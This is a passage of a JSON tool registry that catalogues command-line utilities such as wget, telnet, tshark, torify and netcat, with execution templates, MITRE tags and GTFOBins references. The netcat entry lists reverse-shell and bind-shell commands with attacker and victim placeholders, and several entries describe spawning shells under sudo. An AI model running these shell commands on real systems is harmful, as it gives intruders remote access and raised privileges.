        "description": "remove file before clobber",
        "aliases": [
          "--unlink"
        ],
        "flag": "--unlink"
      },
      {
        "name": "use-askpass",
        "template_key": "use-askpass",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "specify credential handler for requesting",
        "aliases": [
          "--use-askpass"
        ],
        "flag": "--use-askpass"
      },
      {
        "name": "user",
        "template_key": "user",
        "type": "url",
        "required": false,
        "default_value": null,
        "description": "set both ftp and http user to USER",
        "aliases": [
          "--user"
        ],
        "flag": "--user"
      },
      {
        "name": "user-agent",
        "template_key": "user-agent",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "identify as AGENT instead of Wget/VERSION",
        "aliases": [
          "-U",
          "--user-agent"
        ],
        "flag": "-U"
      },
      {
        "name": "verbose",
        "template_key": "verbose",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "be verbose (this is the default)",
        "aliases": [
          "-v",
          "--verbose"
        ],
        "flag": "-v"
      },
      {
        "name": "version",
        "template_key": "version",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "display the version of Wget and exit",
        "aliases": [
          "-V",
          "--version"
        ],
        "flag": "-V"
      },
      {
        "name": "wait",
        "template_key": "wait",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "wait SECONDS between retrievals",
        "aliases": [
          "-w",
          "--wait"
        ],
        "flag": "-w"
      },
      {
        "name": "waitretry",
        "template_key": "waitretry",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "wait 1..SECONDS between retries of a retrieval",
        "aliases": [
          "--waitretry"
        ],
        "flag": "--waitretry"
      },
      {
        "name": "warc-cdx",
        "template_key": "warc-cdx",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "write CDX index files",
        "aliases": [
          "--warc-cdx"
        ],
        "flag": "--warc-cdx"
      },
      {
        "name": "warc-dedup",
        "template_key": "warc-dedup",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "do not store records listed in this CDX file",
        "aliases": [
          "--warc-dedup"
        ],
        "flag": "--warc-dedup"
      },
      {
        "name": "warc-file",
        "template_key": "warc-file",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "save request/response data to a .warc.gz file",
        "aliases": [
          "--warc-file"
        ],
        "flag": "--warc-file"
      },
      {
        "name": "warc-header",
        "template_key": "warc-header",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "insert STRING into the warcinfo record",
        "aliases": [
          "--warc-header"
        ],
        "flag": "--warc-header"
      },
      {
        "name": "warc-max-size",
        "template_key": "warc-max-size",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "set maximum size of WARC files to NUMBER",
        "aliases": [
          "--warc-max-size"
        ],
        "flag": "--warc-max-size"
      },
      {
        "name": "warc-tempdir",
        "template_key": "warc-tempdir",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "location for temporary files created by the",
        "aliases": [
          "--warc-tempdir"
        ],
        "flag": "--warc-tempdir"
      },
      {
        "name": "xattr",
        "template_key": "xattr",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "turn on storage of metadata in extended file attributes",
        "aliases": [
          "--xattr"
        ],
        "flag": "--xattr"
      }
    ],
    "platforms": [
      "linux",
      "macos",
      "cross-platform"
    ],
    "references": [
      {
        "label": "GNU Wget documentation",
        "url": "https://www.gnu.org/software/wget/manual/"
      },
      {
        "label": "Wget for beginners",
        "url": "https://linux.die.net/man/1/wget"
      }
    ],
    "related_tools": [
      "aria2c",
      "httrack",
      "axel",
      "curl",
      "network-http-curl"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 32,
      "network": "medium",
      "disk_io": "medium"
    },
    "risk_level": "low",
    "techniques": [
      "command-and-control",
      "execution",
      "credential-access",
      "collection",
      "data-manipulation",
      "exfiltration"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "downloaded-file",
        "mirror-directory"
      ],
      "consumes": [
        "url",
        "base-url"
      ]
    }
  },
  {
    "_body": "",
    "_source": "getmac.md",
    "capabilities": [
      "system.information-gathering",
      "system.configuration",
      "system.administration"
    ],
    "description": "Returns MAC addresses of network adapters.",
    "examples": [
      {
        "description": "Display help for getmac",
        "command": "getmac /?"
      }
    ],
    "execution": {
      "template": "getmac /?",
      "sandbox": "execFile"
    },
    "features": [
      "local"
    ],
    "id": "win-getmac",
    "mitre_ids": [],
    "name": "getmac",
    "namespace": "network:interface:mac",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "getmac Documentation",
        "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/getmac"
      }
    ],
    "version": "1.0.0"
  },
  {
    "_body": "",
    "_source": "nmcli.md",
    "capabilities": [
      "network.diagnostics",
      "network.configuration",
      "system.information-gathering"
    ],
    "description": "NetworkManager command-line client.",
    "examples": [
      {
        "description": "Display help for nmcli",
        "command": "nmcli --help"
      }
    ],
    "execution": {
      "template": "nmcli --help",
      "sandbox": "execFile"
    },
    "features": [
      "local"
    ],
    "id": "net-nmcli",
    "install": [
      {
        "method": "custom",
        "description": "Install via package manager",
        "commands": [
          "apt-get install -y network-manager"
        ]
      }
    ],
    "mitre_ids": [],
    "name": "nmcli",
    "namespace": "network:linux:config",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "nmcli Documentation",
        "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/nmcli"
      }
    ],
    "version": "1.0.0"
  },
  {
    "_body": "",
    "_source": "ethtool.md",
    "capabilities": [
      "network.diagnostics",
      "network.configuration",
      "system.information-gathering"
    ],
    "description": "Displays and changes Ethernet device settings.",
    "examples": [
      {
        "description": "Display help for ethtool",
        "command": "ethtool --help"
      }
    ],
    "execution": {
      "template": "ethtool --help",
      "sandbox": "execFile"
    },
    "features": [
      "local"
    ],
    "id": "net-ethtool",
    "install": [
      {
        "method": "custom",
        "description": "Install via package manager",
        "commands": [
          "apt-get install -y ethtool"
        ]
      }
    ],
    "mitre_ids": [],
    "name": "ethtool",
    "namespace": "network:linux:interface",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "ethtool Documentation",
        "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/ethtool"
      },
      {
        "label": "ethtool manual",
        "url": "https://man7.org/linux/man-pages/man8/ethtool.8.html"
      }
    ],
    "version": "1.0.0"
  },
  {
    "_body": "",
    "_source": "iftop.md",
    "allowed-tools": [
      "iftop",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "File content output"
        }
      ],
      "side_effects": [],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 4,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Network bandwidth monitor, can read files.",
    "examples": [
      {
        "description": "Read a file via iftop",
        "command": "iftop -t /path/to/file"
      }
    ],
    "execution": {
      "template": "iftop -t /path/to/file",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "requires-root"
    ],
    "global_vars": {},
    "id": "network-monitor-iftop",
    "install": [
      {
        "method": "apt",
        "package_name": "iftop",
        "commands": [
          "apt-get install -y iftop"
        ]
      }
    ],
    "name": "iftop",
    "namespace": "network:monitor:iftop",
    "parameters": [],
    "platforms": [
      "linux",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/iftop/"
      }
    ],
    "related_tools": [
      "nload",
      "bmon"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 4,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "low",
    "techniques": [
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "file-content"
      ],
      "consumes": [
        "file"
      ]
    }
  },
  {
    "_body": "",
    "_source": "netstat.md",
    "capabilities": [
      "network.diagnostics",
      "network.configuration",
      "system.information-gathering"
    ],
    "description": "Displays active connections, listening ports, and routing tables.",
    "examples": [
      {
        "description": "Display active network connections",
        "command": "netstat"
      }
    ],
    "execution": {
      "template": "netstat",
      "sandbox": "execFile"
    },
    "features": [
      "local"
    ],
    "id": "net-netstat",
    "mitre_ids": [
      "T1049"
    ],
    "name": "netstat",
    "namespace": "network:monitoring:connections",
    "parameters": [],
    "platforms": [
      "linux",
      "windows"
    ],
    "references": [
      {
        "label": "netstat Documentation",
        "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netstat"
      },
      {
        "label": "netstat manual",
        "url": "https://man7.org/linux/man-pages/man8/netstat.8.html"
      }
    ],
    "version": "1.0.0"
  },
  {
    "_body": "",
    "_source": "mosquitto.md",
    "allowed-tools": [
      "mosquitto",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn",
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 4,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "MQTT message broker, can execute commands via config.",
    "examples": [
      {
        "description": "Execute command via mosquitto",
        "command": "mosquitto -c /path/to/config"
      }
    ],
    "execution": {
      "template": "mosquitto -c /path/to/config",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "process-manip"
    ],
    "global_vars": {},
    "id": "network-mqtt-mosquitto",
    "install": [
      {
        "method": "apt",
        "package_name": "mosquitto",
        "commands": [
          "apt-get install -y mosquitto"
        ]
      }
    ],
    "name": "mosquitto",
    "namespace": "network:mqtt:mosquitto",
    "parameters": [],
    "platforms": [
      "linux",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/mosquitto/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 4,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-execution"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "",
    "_source": "nbtstat.md",
    "capabilities": [
      "system.information-gathering",
      "system.configuration",
      "system.administration"
    ],
    "description": "Displays NetBIOS over TCP/IP statistics and name tables.",
    "examples": [
      {
        "description": "Display help for nbtstat",
        "command": "nbtstat /?"
      }
    ],
    "execution": {
      "template": "nbtstat /?",
      "sandbox": "execFile"
    },
    "features": [
      "local"
    ],
    "id": "win-nbtstat",
    "mitre_ids": [],
    "name": "nbtstat",
    "namespace": "network:netbios:stats",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "nbtstat Documentation",
        "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/nbtstat"
      }
    ],
    "version": "1.0.0"
  },
  {
    "_body": "",
    "_source": "showmount.md",
    "capabilities": [
      "network.diagnostics",
      "network.configuration",
      "system.information-gathering"
    ],
    "description": "Shows NFS server export lists and mount information.",
    "examples": [
      {
        "description": "Display help for showmount",
        "command": "showmount --help"
      }
    ],
    "execution": {
      "template": "showmount --help",
      "sandbox": "execFile"
    },
    "features": [
      "local"
    ],
    "id": "net-showmount",
    "install": [
      {
        "method": "custom",
        "description": "Install via package manager",
        "commands": [
          "apt-get install -y nfs-common"
        ]
      }
    ],
    "mitre_ids": [],
    "name": "showmount",
    "namespace": "network:nfs:export",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "showmount Documentation",
        "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/showmount"
      }
    ],
    "version": "1.0.0"
  },
  {
    "_body": "",
    "_source": "nfsstat.md",
    "capabilities": [
      "network.diagnostics",
      "network.configuration",
      "system.information-gathering"
    ],
    "description": "Displays NFS statistics about mounts, RPC calls, and server activity.",
    "examples": [
      {
        "description": "Display help for nfsstat",
        "command": "nfsstat --help"
      }
    ],
    "execution": {
      "template": "nfsstat --help",
      "sandbox": "execFile"
    },
    "features": [
      "local"
    ],
    "id": "net-nfsstat",
    "install": [
      {
        "method": "custom",
        "description": "Install via package manager",
        "commands": [
          "apt-get install -y nfs-common"
        ]
      }
    ],
    "mitre_ids": [],
    "name": "nfsstat",
    "namespace": "network:nfs:stats",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "nfsstat Documentation",
        "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/nfsstat"
      }
    ],
    "version": "1.0.0"
  },
  {
    "_body": "\n# torify\n\ntorify is a command-line utility. Run a command through the Tor network.\n",
    "_source": "torify.md",
    "allowed-tools": [
      "torify"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.privilege-escalation.shell"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Run commands through the Tor anonymizing network; can spawn a shell.",
    "examples": [
      {
        "description": "Spawn an interactive shell (sudo, unprivileged)",
        "command": "torify /bin/sh"
      }
    ],
    "execution": {
      "template": "torify",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "interactive",
      "network-intensive",
      "process-manip",
      "remote",
      "requires-root"
    ],
    "global_vars": {},
    "id": "network-proxy-torify",
    "install": [
      {
        "method": "apt",
        "package_name": "tor",
        "commands": [
          "apt-get install -y tor"
        ]
      }
    ],
    "mitre_ids": [
      "T1071",
      "T1090",
      "T1572",
      "T1573"
    ],
    "name": "torify",
    "namespace": "network:proxy:torify",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/torify/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# torsocks\n\ntorsocks is a command-line utility. Run commands through the Tor network (deprecated); can also spawn an interactive shell.\n",
    "_source": "torsocks.md",
    "allowed-tools": [
      "torsocks"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.privilege-escalation.shell"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Run commands through Tor (legacy wrapper); can spawn a shell.",
    "examples": [
      {
        "description": "Spawn an interactive shell (sudo, unprivileged)",
        "command": "torsocks /bin/sh"
      }
    ],
    "execution": {
      "template": "torsocks",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "interactive",
      "network-intensive",
      "process-manip",
      "remote",
      "requires-root"
    ],
    "global_vars": {},
    "id": "network-proxy-torsocks",
    "install": [
      {
        "method": "apt",
        "package_name": "tor",
        "commands": [
          "apt-get install -y tor"
        ]
      }
    ],
    "mitre_ids": [
      "T1071",
      "T1090",
      "T1572",
      "T1573"
    ],
    "name": "torsocks",
    "namespace": "network:proxy:torsocks",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/torsocks/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "",
    "_source": "rlogin.md",
    "allowed-tools": [
      "rlogin",
      "ssh",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Remote command output"
        }
      ],
      "side_effects": [
        "network_traffic",
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 2,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Remote login client, can execute commands.",
    "examples": [
      {
        "description": "Execute command via rlogin",
        "command": "rlogin /path/to/command"
      }
    ],
    "execution": {
      "template": "rlogin /path/to/command",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "process-manip"
    ],
    "global_vars": {},
    "id": "network-remote-rlogin",
    "install": [
      {
        "method": "apt",
        "package_name": "rsh-client",
        "commands": [
          "apt-get install -y rsh-client"
        ]
      }
    ],
    "name": "rlogin",
    "namespace": "network:remote:rlogin",
    "parameters": [],
    "platforms": [
      "linux",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/rlogin/"
      }
    ],
    "related_tools": [
      "ssh",
      "telnet"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 2,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-execution"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "\n\n# telnet — Telnet protocol client for remote connections\n\n## Overview\n\n`telnet` is a command-line utility for telnet protocol client for remote connections.\n\n## Usage\n\n```\ntelnet -4 {ipv4} -6 {ipv6} -8 {binary} -a {login} -b {bind}\n```\n",
    "_source": "telnet.md",
    "architectures": [
      "amd64",
      "arm64"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "network.remote.telnet",
      "network.remote.shell"
    ],
    "description": "Telnet protocol client for remote connections",
    "examples": [
      {
        "description": "Basic usage with ipv4",
        "command": "telnet ${ipv4}"
      },
      {
        "description": "Display help message",
        "command": "telnet --help"
      },
      {
        "description": "Connect to a remote host on a specified port",
        "command": "telnet hostname port"
      },
      {
        "description": "Open a telnet session without specifying a port (default to port 23)",
        "command": "telnet hostname"
      },
      {
        "description": "Open a telnet session with option for terminal type",
        "command": "telnet -l username hostname"
      },
      {
        "description": "Interrupt a running command or return to the telnet prompt",
        "command": "Ctrl + ] (Escape sequence, type this combo while in a telnet session)"
      },
      {
        "description": "Display telnet’s internal help",
        "command": "telnet help"
      },
      {
        "description": "Telnet quit command to exit the session",
        "command": "quit (Type this command within the telnet session to exit)"
      },
      {
        "description": "Set or show telnet options",
        "command": "telnet set option (Enter this within the telnet command line to configure options)"
      },
      {
        "description": "Send special telnet sequence to the host",
        "command": "send set_sequence_name (Enter this within a telnet session to send specific sequences such as break)"
      }
    ],
    "execution": {
      "template": "telnet -4 {ipv4} -6 {ipv6} -8 {binary} -a {login} -b {bind}",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "remote",
      "network-intensive"
    ],
    "global_vars": {
      "target": "ip",
      "port": "port"
    },
    "id": "network-remote-telnet",
    "install": [
      {
        "method": "apt",
        "package_name": "telnet",
        "commands": [
          "apt-get install -y telnet"
        ]
      }
    ],
    "name": "telnet",
    "namespace": "network:remote:telnet",
    "parameters": [
      {
        "name": "ipv4",
        "template_key": "ipv4",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "use only IPv4",
        "aliases": [
          "-4",
          "--ipv4"
        ],
        "flag": "-4"
      },
      {
        "name": "ipv6",
        "template_key": "ipv6",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "use only IPv6",
        "aliases": [
          "-6",
          "--ipv6"
        ],
        "flag": "-6"
      },
      {
        "name": "binary",
        "template_key": "binary",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "use an 8-bit data transmission",
        "aliases": [
          "-8",
          "--binary"
        ],
        "flag": "-8"
      },
      {
        "name": "login",
        "template_key": "login",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "attempt automatic login",
        "aliases": [
          "-a",
          "--login"
        ],
        "flag": "-a"
      },
      {
        "name": "bind",
        "template_key": "bind",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "bind to specific local ADDRESS",
        "aliases": [
          "-b",
          "--bind"
        ],
        "flag": "-b"
      },
      {
        "name": "no-rc",
        "template_key": "no-rc",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "do not read the user's .telnetrc file",
        "aliases": [
          "-c",
          "--no-rc"
        ],
        "flag": "-c"
      },
      {
        "name": "debug",
        "template_key": "debug",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "turn on debugging",
        "aliases": [
          "-d",
          "--debug"
        ],
        "flag": "-d"
      },
      {
        "name": "escape",
        "template_key": "escape",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "use CHAR as an escape character",
        "aliases": [
          "-e",
          "--escape"
        ],
        "flag": "-e"
      },
      {
        "name": "no-escape",
        "template_key": "no-escape",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "use no escape character",
        "aliases": [
          "-E",
          "--no-escape"
        ],
        "flag": "-E"
      },
      {
        "name": "no-login",
        "template_key": "no-login",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "do not automatically login to the remote system",
        "aliases": [
          "-K",
          "--no-login"
        ],
        "flag": "-K"
      },
      {
        "name": "user",
        "template_key": "user",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "attempt automatic login as USER",
        "aliases": [
          "-l",
          "--user"
        ],
        "flag": "-l"
      },
      {
        "name": "binary-output",
        "template_key": "binary-output",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "use an 8-bit data transmission for output only",
        "aliases": [
          "-L",
          "--binary-output"
        ],
        "flag": "-L"
      },
      {
        "name": "trace",
        "template_key": "trace",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "record trace information into FILE",
        "aliases": [
          "-n",
          "--trace"
        ],
        "flag": "-n"
      },
      {
        "name": "rlogin",
        "template_key": "rlogin",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "use a user-interface similar to rlogin",
        "aliases": [
          "-r",
          "--rlogin"
        ],
        "flag": "-r"
      },
      {
        "name": "encrypt",
        "template_key": "encrypt",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "encrypt the data stream, if possible",
        "aliases": [
          "-x",
          "--encrypt"
        ],
        "flag": "-x"
      },
      {
        "name": "realm",
        "template_key": "realm",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "obtain tickets for the remote host in REALM",
        "aliases": [
          "-k",
          "--realm"
        ],
        "flag": "-k"
      },
      {
        "name": "disable-auth",
        "template_key": "disable-auth",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "disable type ATYPE authentication",
        "aliases": [
          "-X",
          "--disable-auth"
        ],
        "flag": "-X"
      },
      {
        "name": "help",
        "template_key": "help",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "give this help list",
        "aliases": [
          "-?",
          "--help"
        ],
        "flag": "-?"
      },
      {
        "name": "usage",
        "template_key": "usage",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "give a short usage message",
        "aliases": [
          "--usage"
        ],
        "flag": "--usage"
      },
      {
        "name": "version",
        "template_key": "version",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "print program version",
        "aliases": [
          "-V",
          "--version"
        ],
        "flag": "-V"
      }
    ],
    "platforms": [
      "linux"
    ],
    "risk_level": "low",
    "techniques": [
      "command-and-control",
      "lateral-movement"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\n# tshark\n\ntshark is a command-line utility. Wireshark command-line network protocol analyzer Can leverage capabilities from: lua.\n",
    "_source": "tshark.md",
    "allowed-tools": [
      "tshark"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Wireshark CLI network protocol analyzer; can spawn a shell.",
    "examples": [
      {
        "description": "Leverage lua capabilities",
        "command": "echo '...' >/path/to/temp-file\ntshark -Xlua_script:/path/to/temp-file"
      }
    ],
    "execution": {
      "template": "tshark",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "interactive",
      "network-intensive",
      "pipes-stdin",
      "process-manip"
    ],
    "global_vars": {},
    "id": "network-sniff-tshark",
    "install": [
      {
        "method": "apt",
        "package_name": "tshark",
        "commands": [
          "apt-get install -y tshark"
        ]
      }
    ],
    "name": "tshark",
    "namespace": "network:sniff:tshark",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/tshark/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n\n# nc — Netcat - arbitrary TCP/UDP connections and listening\n\n## Overview\n\n`nc` is a command-line utility for netcat - arbitrary tcp/udp connections and listening.\n\n## Usage\n\n```\nnc -c {flag-c} -e {flag-e} -b {flag-b} -g {flag-g} -G {flag-g}\n```\n",
    "_source": "nc.md",
    "architectures": [
      "amd64",
      "arm64"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "network.socket.nc",
      "network.socket.connect",
      "network.socket.listen"
    ],
    "description": "Netcat - arbitrary TCP/UDP connections and listening",
    "examples": [
      {
        "description": "Basic usage with flag-c",
        "command": "nc ${flag-c}"
      },
      {
        "description": "Display help message",
        "command": "nc --help"
      },
      {
        "description": "NetRunners revshell/shell",
        "command": "nc.exe {{IP}} {{PORT}} -e cmd"
      },
      {
        "description": "NetRunners revshell/shell",
        "command": "nc -e /bin/bash {{IP}} {{PORT}}"
      },
      {
        "description": "Basic client use - connect to a server",
        "command": "nc [hostname] [port]"
      },
      {
        "description": "Basic server use - listen on a specific port",
        "command": "nc -l -p [port]"
      },
      {
        "description": "Send a file from a client to a server Server side",
        "command": "nc -l -p [port] > [output-file]"
      },
      {
        "description": "Client side",
        "command": "nc [hostname] [port] < [input-file]"
      },
      {
        "description": "Create a simple chat server Server side",
        "command": "nc -l -p [port]"
      },
      {
        "description": "Client side",
        "command": "nc [hostname] [port]"
      },
      {
        "description": "Port scanning a host for open ports",
        "command": "nc -zv [hostname] [starting-port]-[ending-port]"
      },
      {
        "description": "Using UDP instead of TCP",
        "command": "nc -u [hostname] [port]"
      },
      {
        "description": "Use with a timeout setting",
        "command": "nc -w [timeout-in-seconds] [hostname] [port]"
      },
      {
        "description": "Listen for connections on multiple interfaces",
        "command": "nc -l -p [port] -k"
      },
      {
        "description": "Establish a reverse shell (use with caution) Attacker machine - listen for incoming connections",
        "command": "nc -l -p [port]"
      },
      {
        "description": "Victim machine - connect to attacker",
        "command": "nc [attacker-ip] [port] -e /bin/bash"
      },
      {
        "description": "Start a simple TCP server on a specified port",
        "command": "nc -l -p PORT_NUMBER"
      },
      {
        "description": "Connect to a TCP server on a specified IP address and port",
        "command": "nc IP_ADDRESS PORT_NUMBER"
      },
      {
        "description": "Transfer a file from a server to a client On the server side (listening and sending the file)",
        "command": "nc -l -p PORT_NUMBER < filename"
      },
      {
        "description": "On the client side (receiving the file)",
        "command": "nc IP_ADDRESS PORT_NUMBER > filename"
      },
      {
        "description": "Scan open ports on a target host",
        "command": "nc -zv IP_ADDRESS PORT_RANGE"
      },
      {
        "description": "Use netcat as a simple chat tool On one machine (listening)",
        "command": "nc -l -p PORT_NUMBER"
      },
      {
        "description": "On another machine (connecting to the listener)",
        "command": "nc IP_ADDRESS PORT_NUMBER"
      },
      {
        "description": "Create a reverse shell from a client to a server On the attacker's machine (listening)",
        "command": "nc -l -p PORT_NUMBER -e /bin/bash"
      },
      {
        "description": "On the victim's machine (connecting back to the attacker's machine)",
        "command": "nc IP_ADDRESS PORT_NUMBER -e /bin/bash"
      },
      {
        "description": "Bind shell on the server side On the server machine (listening and attaching a shell)",
        "command": "nc -l -p PORT_NUMBER -e /bin/bash"
      },
      {
        "description": "On the client machine (connecting to the bind shell)",
        "command": "nc IP_ADDRESS PORT_NUMBER"
      }
    ],
    "execution": {
